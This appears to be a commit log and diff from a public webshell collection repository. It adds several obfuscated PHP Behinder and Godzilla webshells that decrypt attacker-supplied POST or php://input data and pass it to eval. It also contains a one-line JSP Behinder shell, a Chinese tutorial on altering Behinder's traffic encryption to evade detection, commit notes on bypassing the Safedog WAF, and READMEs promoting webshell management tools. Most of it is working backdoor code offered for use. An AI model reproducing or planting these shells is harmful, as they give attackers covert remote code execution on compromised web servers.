add jspx_custom_script_for_mysql
2020-08-26 22:46:46 +08:00
tennc
c6f42dd08c Create jsp_custom_script_for_oracle.jsp
add jsp_custom_script_for_oracle.jsp
2020-08-26 22:46:05 +08:00
tennc
eae7182ca9 Create WebLogic_Shiro.md
thanks  Y4er
👍
2020-08-26 22:37:49 +08:00
tennc
fef331e3f2 add Godzilla-BypassOpenRasp.jar
add Godzilla-BypassOpenRasp.jar
2020-08-25 20:31:48 +08:00
tennc
cd55a03046 add WebShell免杀.pdf
add WebShell免杀.pdf
2020-08-22 19:33:50 +08:00
tennc
61b8a65a49 add 1个经典的过人 WebShell.pdf
add 1个经典的过人 WebShell.pdf
2020-08-22 19:24:17 +08:00
tennc
5c86bc3410 Create readme.md 2020-08-22 19:23:35 +08:00
tennc
62ccee518b Create bypass.md 2020-08-22 19:22:26 +08:00
tennc
23aea8530d Create 2020.08.20.20.php
maybe bypass safedog
from : https://www.sqlsec.com/2020/07/shell.html#toc-heading-24
2020-08-21 19:52:22 +08:00
tennc
cbd7b8ef98 Create 2020.08.20.19.php
bypass by safedog
https://www.sqlsec.com/2020/07/shell.html
2020-08-20 13:09:52 +08:00
tennc
12ad35eb0f Create 2020.08.20.18.php
bypass safedog
https://www.sqlsec.com/2020/07/shell.html
2020-08-20 13:08:25 +08:00
tennc
0d1874b235 Create 2020.08.20.17.php
killed by safedog
from : https://www.sqlsec.com/2020/07/shell.html
2020-08-20 13:07:32 +08:00
tennc
cd1e25025a Create 2020.08.20.16.php
from : https://www.sqlsec.com/2020/07/shell.html
killed by safedog
2020-08-20 13:03:10 +08:00
tennc
ecc1fb09ee Create 2020.08.20.15.php
use:
shell.php?e=mb_eregi_replace
post x=phpinfo();
2020-08-20 12:48:04 +08:00
tennc
6a9169da6b Create 2020.08.20.14.php 2020-08-20 12:40:40 +08:00
tennc
44282fe412 Create 2020.08.20.13.php
shell.php?e=preg_replace ==> preg_replace('|.*|e',$_POST['x'],'')
use:  post x=phpinfo();
from: https://www.sqlsec.com/2020/07/shell.html
2020-08-20 12:38:26 +08:00
tennc
aeb2db1e19 Create 2020.08.20.12.php
from : https://www.sqlsec.com/2020/07/shell.html
2020-08-20 12:35:58 +08:00
tennc
f7c1551c7f Create 2020.08.20.11.php
from : https://www.sqlsec.com/2020/07/shell.html
2020-08-20 12:34:54 +08:00
tennc
accce9acef Create 2020.08.20.10.php
from : https://www.sqlsec.com/2020/07/shell.html
2020-08-20 12:34:25 +08:00
tennc
63217f585d Create 2020.08.20.09.php
from : https://www.sqlsec.com/2020/07/shell.html
2020-08-20 12:33:34 +08:00
tennc
69b4a7b5bc Create 2020.08.20.08.php
from : https://www.sqlsec.com/2020/07/shell.html
2020-08-20 12:32:56 +08:00
tennc
a700c2b3d8 Create 2020.08.20.07.php
from : https://www.sqlsec.com/2020/07/shell.html
killled by safedog
2020-08-20 12:32:12 +08:00
tennc
d5f61a9c5f Create 2020.08.20.06.php
from : https://www.sqlsec.com/2020/07/shell.html
killed by safedog
2020-08-20 12:31:23 +08:00
tennc
d8cdd62ab1 Create 2020.08.20.05.php
from : https://www.sqlsec.com/2020/07/shell.html
2020-08-20 12:30:06 +08:00
tennc
223d57c52c Create 2020.08.20.04.php
from : https://www.sqlsec.com/2020/07/shell.html
2020-08-20 12:29:26 +08:00
tennc
6759fd8dcc Create 2020.08.20.03.php
from : https://www.sqlsec.com/2020/07/shell.html
2020-08-20 12:28:46 +08:00
tennc
51833ad9b6 Create 2020.08.20.02.php
from : https://www.sqlsec.com/2020/07/shell.html
2020-08-20 12:27:40 +08:00
tennc
820aadc6a1 Create 2020.08.20.01.php
from : https://www.sqlsec.com/2020/07/shell.html
2020-08-20 12:26:04 +08:00
tennc
5a94f3e98b add Behinder_v3.0_Beta_1.zip 2020-08-19 22:19:34 +08:00
tennc
457530e937 Update README.md 2020-08-19 22:09:48 +08:00
tennc
74b1f33dbe add Godzilla client 2020-08-19 12:52:10 +08:00
189 changed files with 102989 additions and 763 deletions

72
.gitmodules vendored Normal file
View File

@@ -0,0 +1,72 @@
[submodule "xl7dev/WebShell"]
path = xl7dev/WebShell
url = https://github.com/xl7dev/WebShell
[submodule "JohnTroony/php-webshells"]
path = JohnTroony/php-webshells
url = https://github.com/JohnTroony/php-webshells
[submodule "BlackArch/webshells"]
path = BlackArch/webshells
url = https://github.com/BlackArch/webshells
[submodule "LandGrey/webshell-detect-bypass"]
path = LandGrey/webshell-detect-bypass
url = https://github.com/LandGrey/webshell-detect-bypass
[submodule "JoyChou93/webshell"]
path = JoyChou93/webshell
url = https://github.com/JoyChou93/webshell
[submodule "bartblaze/PHP-backdoors"]
path = bartblaze/PHP-backdoors
url = https://github.com/bartblaze/PHP-backdoors
[submodule "WangYihang/Webshell-Sniper"]
path = WangYihang/Webshell-Sniper
url = https://github.com/WangYihang/Webshell-Sniper
[submodule "threedr3am/JSP-Webshells"]
path = threedr3am/JSP-Webshells
url = https://github.com/threedr3am/JSP-Webshells
[submodule "DeEpinGh0st/PHP-bypass-collection"]
path = DeEpinGh0st/PHP-bypass-collection
url = https://github.com/DeEpinGh0st/PHP-bypass-collection
[submodule "lcatro/PHP-WebShell-Bypass-WAF"]
path = lcatro/PHP-WebShell-Bypass-WAF
url = https://github.com/lcatro/PHP-WebShell-Bypass-WAF
[submodule "ysrc/webshell-sample"]
path = ysrc/webshell-sample
url = https://github.com/ysrc/webshell-sample
[submodule "tanjiti/webshellSample"]
path = tanjiti/webshellSample
url = https://github.com/tanjiti/webshellSample
[submodule "webshellpub/awsome-webshell"]
path = webshellpub/awsome-webshell
url = https://github.com/webshellpub/awsome-webshell
[submodule "tdifg/WebShell"]
path = tdifg/WebShell
url = https://github.com/tdifg/WebShell
[submodule "malwares/WebShell"]
path = malwares/WebShell
url = https://github.com/malwares/WebShell
[submodule "lhlsec/webshell"]
path = lhlsec/webshell
url = https://github.com/lhlsec/webshell
[submodule "oneoneplus/webshell"]
path = oneoneplus/webshell
url = https://github.com/oneoneplus/webshell
[submodule "vnhacker1337/Webshell"]
path = vnhacker1337/Webshell
url = https://github.com/vnhacker1337/Webshell
[submodule "backlion/webshell"]
path = backlion/webshell
url = https://github.com/backlion/webshell
[submodule "AntSwordProject/AwesomeScript"]
path = AntSwordProject/AwesomeScript
url = https://github.com/AntSwordProject/AwesomeScript
[submodule "cseroad/Webshell_Generate"]
path = cseroad/Webshell_Generate
url = https://github.com/cseroad/Webshell_Generate
[submodule "rexSurprise/webshell-free"]
path = rexSurprise/webshell-free
url = https://github.com/rexSurprise/webshell-free
[submodule "0xAbbarhSF/CTF-WebShells-"]
path = 0xAbbarhSF/CTF-WebShells-
url = https://github.com/0xAbbarhSF/CTF-WebShells-
[submodule "zxc7528064/-WebShell-"]
path = zxc7528064/-WebShell-
url = https://github.com/zxc7528064/-WebShell-

Binary file not shown.

View File

@@ -0,0 +1,7 @@
# CTF-WebShells-
Collection of some Handy Capture The Flag 🟩 Web Shells .. Enjoy:D
<img src="https://raw.githubusercontent.com/0xAbbarhSF/CTF-WebShells-/main/images%20(15).jpeg">
<img src="https://raw.githubusercontent.com/0xAbbarhSF/CTF-WebShells-/main/images%20(16).jpeg">
My Twitter: - 🕊️ [@0xAbbarhSF](https://twitter.com/0xAbbarhSF) <img src="https://img.shields.io/badge/Twitter-1DA1F2?style=for-the-badge&logo=twitter&logoColor=white">

Binary file not shown.

36
Behinder/readme.md Normal file
View File

@@ -0,0 +1,36 @@
## [Behinder](https://github.com/rebeyond/Behinder)
Author:[rebeyond](https://github.com/rebeyond)
Latest version updata Behinder_v4.0.2
Download link:
https://github.com/rebeyond/Behinder/releases
How to use by video:
https://www.bilibili.com/video/BV1TV4y1E7k4
### [ByPassBehinder / 冰蝎WebShell免杀生成](https://github.com/Tas9er/ByPassBehinder)
Author:Tas9er @A.E.0.S Security Team
❌风险概述:
本工具仅限授权安全测试使用,禁止非法攻击未授权站点
文件MD5值校对
文件:ByPassBehinder.exe
MD5 HASH:04caea5648786157fb65dd51d2bc061e
### [ByPassBehinder4J / 冰蝎Java WebShell免杀生成](https://github.com/Tas9er/ByPassBehinder4J)
Author:Tas9er @A.E.0.S Security Team
### 安全自测

View File

@@ -0,0 +1,35 @@
<?php
@error_reporting(0);
session_start();
$t=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$J=[("$t")("cGhwOi8vaW5wdXQ="),("$t")("b3BlbnNzbA==")];
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=("$t")("ZmlsZV9nZXRfY29udGVudHM=")("$J[0]");
if(!extension_loaded("$J[1]"))
{
$post=("$t")("$post")."";
for($i=0;$i<strlen($post);$i++) {
$tmp=[$post[$i] => $post[$i]^$key[$i+1&15]];
$post[$i]=$tmp[$post[$i]];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>

View File

@@ -0,0 +1,28 @@
<?php
@error_reporting(0);
session_start();
$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);
$f='file'.'_get'.'_contents';
$p='{{{{{{{{{{{'^chr(11).chr(19).chr(11).chr(65).chr(84).chr(84).chr(18).chr(21).chr(11).chr(14).chr(15);
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位默认连接密码rebeyond
$_SESSION['k']=$key;
$post=$f($p);
if(!extension_loaded('openssl'))
{
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$key = $key[$i+1&15];
$post[$i] = $port[$i]^$key;
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function b($p) {eval($p."");}}
@call_user_func(array(C,b),$params);
?>

View File

@@ -0,0 +1,26 @@
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位默认连接密码rebeyond
$_SESSION['k']=$key;
$f=explode("|",base64_decode("ZmlsZV9nZXRfY29udGVudHN8YmFzZTY0X2RlY29kZXxwaHA6Ly9pbnB1dA=="));
$post=["bie"=>$f[0](end($f))];
$post=$post["bie"];
if(!extension_loaded('openssl'))
{
$post=$f[1]($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i] xor $key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

View File

@@ -0,0 +1,64 @@
感觉冰蝎流量魔改的文章比较少我自己琢磨了一下感觉简单地做个流量魔改并不复杂发出来供大家参考。我自己是个Java笨比有问题的地方欢迎大佬们评论区指正共同学习。
0x00 冰蝎源码
---------
冰蝎源码的获取可以下载冰蝎用idea自带的反编译工具去反编译我这里直接用github搜到的别人整理好的反编译代码了[https://github.com/x1a0t/Behinder-Source](https://github.com/x1a0t/Behinder-Source%EF%BC%89)
0x01 Crypt.java的修改
------------------
### 1加密函数
在Crypt.java中可以修改Encrypt、EncryptForPhp这类加密函数的逻辑比如在返回结果数据前对结果做自定义的加密处理。我这里的例子就是在原有的AES基础上做了个base64编码。
note`public static byte[] Encrypt(byte[] bs, String key, String scriptType, int encryptType)`这个函数不用改。
我看了下这个函数是在进最后的return前进了其他被改了逻辑的加密函数比如EncryptForPhp其他函数改过了这里就不用动了。我最开始没仔细看代码的时候想着人家写了个汇总函数在这里改应该挺快捷的结果发现这里虽然写了个汇总的函数但是有些时候调用加密还是调用了具体的加密函数比如EncryptForPhp所以这里就不用管这个函数了。
修改的例子:
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710203841-3a665d52-004d-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710203841-3a665d52-004d-1.png)
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710203848-3f1843d8-004d-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710203848-3f1843d8-004d-1.png)
### 2解密函数
修改Crypt.java里的Decrypt函数我这里是做的base64编解码只要在这个总的Decrypt函数开头做一次解码就行了各位大佬们可以根据自己选用的编解码方式自行修改这些Decrypt函数
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710204208-b60f5558-004d-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710204208-b60f5558-004d-1.png)
0x02 payload的修改
---------------
我自己对jsp马做了个简单的跟踪调试发现解密函数解密的流量应该是被客户端塞进去的payload里的xxx.class发出来的这些流量发出来之前会调用payload里xxx.class的Encrypt()函数做个流量加密。所以这里的思路是把payload里存在Encrypt()函数的xxx.class的Encrypt()函数加密逻辑都修改一下,就能贯通整个加解密通讯流程了。
具体操作还是以jsp增加base64编码举例子
因为演示的是jsp的部分就去修改net.rebeyond.behinder.payload.java下面的Java代码文件找到里面的Encrypt()函数payload里的Java代码挨个找找改一下并不是每一个文件都有Encrypt这里没有就不管去修改加密逻辑就行了
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710204655-612c50b2-004e-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710204655-612c50b2-004e-1.png)
note`别的语言的payload里的加密函数也叫encrypt(最多有些大小写区别)但是要修改的话需要用对应的语言去修改其中C#的是dll文件需要额外的姿势欢迎评论区老哥补充这方面方便的思路`
以php为例子加密函数修改如下
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205003-d10f6fae-004e-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205003-d10f6fae-004e-1.png)
0x03 webshell马子的修改
------------------
以jsp为例这里就是在原本的base64解码里又套了一层base64解码
```
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(new String(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))))).newInstance().equals(pageContext);}%>
```
0x04 打包与测试
----------
用maven做package打包完成后要用的是名字长的那个jar包Behinder-3.0-beta-11\_t00ls-jar-with-dependencies.jar
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205545-9d414f66-004f-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205545-9d414f66-004f-1.png)
本地运行,测试(命令执行、内网穿透等功能正常,不过数据库连接功能拉闸了):
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205614-ae3af2cc-004f-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205614-ae3af2cc-004f-1.png)
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205624-b47b1856-004f-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205624-b47b1856-004f-1.png)
有两个还没解决的东西:
1.C#部分的dll文件处理(欢迎老哥们在评论区发点儿快捷的处理方法、思路)
2.数据库连接功能出现了bug暂时还没去调试老哥们有知道的欢迎评论区重拳出击

1
BlackArch/webshells Submodule

Submodule BlackArch/webshells added at 0701fcb26c

1
CNAME
View File

@@ -1 +0,0 @@
shell.endp.top

34
Godzilla/20220213.php Normal file
View File

@@ -0,0 +1,34 @@
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='sangfor';
$V='payload';
$T='3c6e0b8a9c15224a';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}

26
Godzilla/20220213_02.php Normal file
View File

@@ -0,0 +1,26 @@
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo encode(@run($data),$key);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

31
Godzilla/20220213_03.php Normal file
View File

@@ -0,0 +1,31 @@
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

Binary file not shown.

BIN
Godzilla/gesila.7z Normal file

Binary file not shown.

1
JoyChou93/webshell Submodule

Submodule JoyChou93/webshell added at 2185acc2b4

21
LICENSE Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2022 tennc
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

153
README.md
View File

@@ -1,65 +1,88 @@
webshell
========
这是一个webshell收集项目
送人玫瑰手有余香如果各位下载了本项目也请您能提交shell
本项目涵盖各种常用脚本
asp,aspx,php,jsp,pl,py
如提交各种webshell请勿更改名称和密码
注意所有shell 本人不保证是否有后门,但是自己上传的绝不会故意加后门
各位提交的,也请勿加后门
如发现存在后门代码请issues 。
本项目提供的工具,禁止从事非法活动,此项目,仅供测试,所造成的一切后果,与本人无关。
> ### 在扩展一个项目
> 1. [webshell-venom](https://github.com/yzddmr6/webshell-venom)
> 2. 免杀webshell无限生成工具
> 3. 免杀webshell无限生成工具(免杀一句话生成|免杀D盾|免杀安全狗护卫神河马查杀等一切waf)
> 4. Author : yzddmr6
> 5. 请自行鉴别
> ### other webshell project (old)
> 1. [xl7dev/WebShell](https://github.com/xl7dev/WebShell)
> 2. [JohnTroony/php-webshells](https://github.com/JohnTroony/php-webshells)
> 3. [BlackArch/webshells](https://github.com/BlackArch/webshells)
> 4. [LandGrey/webshell-detect-bypass](https://github.com/LandGrey/webshell-detect-bypass)
> 5. [JoyChou93/webshell](https://github.com/JoyChou93/webshell)
> 6. [bartblaze/PHP-backdoors](https://github.com/bartblaze/PHP-backdoors)
> 7. [WangYihang/Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
> ### 顺便在推一波网站管理工具
> 1. 中国菜刀
> 2. Cknife
> 3. Altman
> 4. xise
> 5. Weevely
> 6. quasibot
> 7. Webshell-Sniper
> 8. 蚁剑
> 9. 冰蝎
> 10. webacoo
> 11. 以上排名不分先后
Author tennc
http://tennc.github.io/webshell
license : GPL v3
## Download link
Check github releases. Latest:
[https://github.com/tennc/webshell/releases](https://github.com/tennc/webshell/releases)
## <img src="https://raw.githubusercontent.com/tennc/webshell/master/jetbrains.png" width="400"> Thanks to [Jetbrains](https://www.jetbrains.com/?from=webshell)
# webshell | [English](https://github.com/tennc/webshell/blob/master/README_EN.md)
这是一个webshell收集项目
送人玫瑰手有余香如果各位下载了本项目也请您能提交shell
本项目涵盖各种常用脚本
asp,aspx,php,jsp,pl,py
如提交各种webshell请勿更改名称和密码
注意所有shell 本人不保证是否有后门,但是自己上传的绝不会故意加后门
各位提交的,也请勿加后门
如发现存在后门代码请issues 。
本项目提供的工具,禁止从事非法活动,此项目,仅供测试,所造成的一切后果,与本人无关。
> ### 在扩展一个项目
> 1. [webshell-venom](https://github.com/yzddmr6/webshell-venom)
> 2. 免杀webshell无限生成工具
>> 免杀webshell无限生成工具(免杀一句话生成|免杀D盾|免杀安全狗护卫神河马查杀等一切waf)
>>
>> Author : yzddmr6
>>
>> https://github.com/pureqh/webshell
>>
>> 请自行鉴别后门
> ### other webshell project (update 2021-04-03)
> 1. [xl7dev/WebShell](https://github.com/xl7dev/WebShell)
> 2. [JohnTroony/php-webshells](https://github.com/JohnTroony/php-webshells)
> 3. [BlackArch/webshells](https://github.com/BlackArch/webshells)
> 4. [LandGrey/webshell-detect-bypass](https://github.com/LandGrey/webshell-detect-bypass)
> 5. [JoyChou93/webshell](https://github.com/JoyChou93/webshell)
> 6. [bartblaze/PHP-backdoors](https://github.com/bartblaze/PHP-backdoors)
> 7. [WangYihang/Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
> 8. [threedr3am/JSP-Webshells](https://github.com/threedr3am/JSP-Webshells)
> 9. [DeEpinGh0st/PHP-bypass-collection](https://github.com/DeEpinGh0st/PHP-bypass-collection)
> 10. [lcatro/PHP-WebShell-Bypass-WAF](https://github.com/lcatro/PHP-WebShell-Bypass-WAF)
> 11. [ysrc/webshell-sample](https://github.com/ysrc/webshell-sample)
> 12. [tanjiti/webshellSample](https://github.com/tanjiti/webshellSample)
> 13. [webshellpub/awsome-webshell](https://github.com/webshellpub/awsome-webshell)
> 14. [tdifg/WebShell](https://github.com/tdifg/WebShell)
> 15. [malwares/WebShell](https://github.com/malwares/WebShell)
> 16. [lhlsec/webshell](https://github.com/lhlsec/webshell)
> 17. [oneoneplus/webshell](https://github.com/oneoneplus/webshell)
> 18. [vnhacker1337/Webshell](https://github.com/vnhacker1337/Webshell)
> 19. [backlion/webshell](https://github.com/backlion/webshell)
> 20. [twepl/wso](https://github.com/twepl/wso) wso for php8
> ### 顺便在推一波网站管理工具
> 1. 中国菜刀
> 2. Cknife
> 3. [Altman](https://github.com/keepwn/Altman)
> 4. xise
> 5. [Weevely](https://github.com/epinna/weevely3)
> 6. [quasibot](https://github.com/Smaash/quasibot)
> 7. [Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
> 8. [蚁剑 antSword](https://github.com/AntSwordProject/antSword)
> 9. [冰蝎 Behinder](https://github.com/rebeyond/Behinder)
> 10. [webacoo](https://github.com/anestisb/WeBaCoo)
> 11. [哥斯拉 Godzilla](https://github.com/BeichenDream/Godzilla)
> 12. [PhpSploit](https://github.com/nil0x42/phpsploit)
> 13. 以上排名不分先后
Author tennc
http://tennc.github.io/webshell
license : MIT
## Download link
Check github releases. Latest:
[https://github.com/tennc/webshell/releases](https://github.com/tennc/webshell/releases)
## Many thanks to Jetbrains for providing us with an OSS licence for their fine development tools such as [Jetbrains tools](https://www.jetbrains.com/?from=webshell).
[![Stargazers over time](https://starchart.cc/tennc/webshell.svg)](https://starchart.cc/tennc/webshell)

81
README_EN.md Normal file
View File

@@ -0,0 +1,81 @@
webshell
[简体中文](https://github.com/tennc/webshell/blob/master/README.md)
========
This is a webshell collection project
*Give someone a rose, there is a fragrance in your hand*
if you download this project, please also submit a shell
This project covers various common scripts
Such as: asp, aspx, php, jsp, pl, py
If you submit a webshell, please do not change the name and password
Note: There is no guarantee whether there could be a backdoor in a shell, but I will never add a backdoor deliberately when uploading by myself
Please dont add a backdoor if you submit
If you find a backdoor code, please create an issue immediately!
The tools provided by this project are forbidden to engage in illegal activities. This project is for testing purposes only. All the consequences caused by it have nothing to do with me.
> ### Expanding a project
> 1. [webshell-venom](https://github.com/yzddmr6/webshell-venom)
> 2. Kill-free webshell unlimited generation tool
> 3. Kill-free webshell unlimited generation tool (Kill-free one sentence generation|Kill-free D shield|Kill-free security dog guard God Hippo check and kill everything waf)
> 4. Author : yzddmr6
> 5. Please identify yourself
> ### other webshell project (update 2020-09-14)
> 1. [xl7dev/WebShell](https://github.com/xl7dev/WebShell)
> 2. [JohnTroony/php-webshells](https://github.com/JohnTroony/php-webshells)
> 3. [BlackArch/webshells](https://github.com/BlackArch/webshells)
> 4. [LandGrey/webshell-detect-bypass](https://github.com/LandGrey/webshell-detect-bypass)
> 5. [JoyChou93/webshell](https://github.com/JoyChou93/webshell)
> 6. [bartblaze/PHP-backdoors](https://github.com/bartblaze/PHP-backdoors)
> 7. [WangYihang/Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
> 8. [threedr3am/JSP-Webshells](https://github.com/threedr3am/JSP-Webshells)
> 9. [DeEpinGh0st/PHP-bypass-collection](https://github.com/DeEpinGh0st/PHP-bypass-collection)
> 10. [lcatro/PHP-WebShell-Bypass-WAF](https://github.com/lcatro/PHP-WebShell-Bypass-WAF)
> 11. [ysrc/webshell-sample](https://github.com/ysrc/webshell-sample)
> 12. [tanjiti/webshellSample](https://github.com/tanjiti/webshellSample)
> 13. [webshellpub/awsome-webshell](https://github.com/webshellpub/awsome-webshell)
> 14. [tdifg/WebShell](https://github.com/tdifg/WebShell)
> 15. [malwares/WebShell](https://github.com/malwares/WebShell)
> 16. [lhlsec/webshell](https://github.com/lhlsec/webshell)
> 17. [oneoneplus/webshell](https://github.com/oneoneplus/webshell)
> 18. [vnhacker1337/Webshell](https://github.com/vnhacker1337/Webshell)
> 19. [backlion/webshell](https://github.com/backlion/webshell)
> ### By the way, we are pushing a wave of website management tools
> 1. Chinese Kitchen Knife
> 2. Cknife
> 3. [Altman](https://github.com/keepwn/Altman)
> 4. xise
> 5. [Weevely](https://github.com/epinna/weevely3)
> 6. [quasibot](https://github.com/Smaash/quasibot)
> 7. [Webshell-Sniper](https://github.com/WangYihang/Webshell-Sniper)
> 8. [蚁剑 antSword](https://github.com/AntSwordProject/antSword)
> 9. [冰蝎 Behinder](https://github.com/rebeyond/Behinder)
> 10. [webacoo](https://github.com/anestisb/WeBaCoo)
> 11. [哥斯拉 Godzilla](https://github.com/BeichenDream/Godzilla)
> 12. [PhpSploit](https://github.com/nil0x42/phpsploit)
> 13. The above rankings are in no particular order
Author tennc
http://tennc.github.io/webshell
license : GPL v3
## Download link
Check github releases. Latest:
[https://github.com/tennc/webshell/releases](https://github.com/tennc/webshell/releases)
## [Thank you to JetBrains for providing an OSS development license for their products](https://www.jetbrains.com/?from=webshell)

5
SECURITY.md Normal file
View File

@@ -0,0 +1,5 @@
# Security Policy
## Reporting a Vulnerability
Please report security issues to <email>

View File

@@ -0,0 +1,15 @@
``` java
YWFhYWFhYWFhYWFhYWFhYW4WyDHgFb0DhQAQ46Kgw+r8soc6/b5FErU9nSlqEsyHJ8x4xnqm1ex86u/xBiUprKSOWmYZAMmwfWmzi9V1lvBG13cKgcZiHI6Kj0T69zzRdjvky4fgMZJy5IC1J5Dw8AFlea2PrRvslWyoPMxkYDXMCIQWOPYx4q6VXinkXP+3/hTU+VhQKzUdqbYj6w2DiQ6oqtZBYZdGD4YXq5YTrKpOHPyPex9EEvNxxZQGQcUgZD8+evRHXAcxCT/hTgsio2sGE7DkOB/PnnBhzm+1kJkEU6ePQoiD2GQA+lAVmLpQJEq4xlgg1HtVlQK7mCtSRU2vhroCHMtOFcQCz7u8yQ1hk0+da0IIf+QxsM0p78aWq8IYjk1wjzpxp8azJWvG0ao6ok9VdWXbJdC+c9yB5LySnNb7auijcGV54JODEx22BDsOVcN+vwyd3JBpfX+2KBur5jIIfc3kHRMRuJV9+LPoHDhoUVdUc5cismdzX2d0LJ9Ml+8l7LCAaenC2/GNgZJkzCpuZ/jvEfGVyCuLMK1KQM0eeW7beOojIcDXT6jrAn4Ys0gMThu05TWjQHM+fXDczE6Eb6dO5x9tOROFI0gcqzjmRage7xXM2xHykzej6CuiP6eJb+qKND244YgFN9gkAQqgkyscLcV0Ds6EldEct7uhzQfM1upktzWwsdrY1qVSmuMt1T8UzW/+hZoYgvxAh4F7jsSHuTPtoLoC36OK6PnooZUvKlmQtOCe05hIKpXoc9wXXh1EWJE5RXFrU34LMbsEjZH5e1GY8e9/xDxbRfNnBCfgpUH2rlPo0fUP0gdexpMLU9V/HDOBOxuQWLxRHvX3bpW3CF+cvYOJHtz9x6Y7Qa3NQxtkv1qrcddYXQdqO52sGjGvYCo6OyYsJm1vYnaqccVtsm/85VmCjAGu8QkP5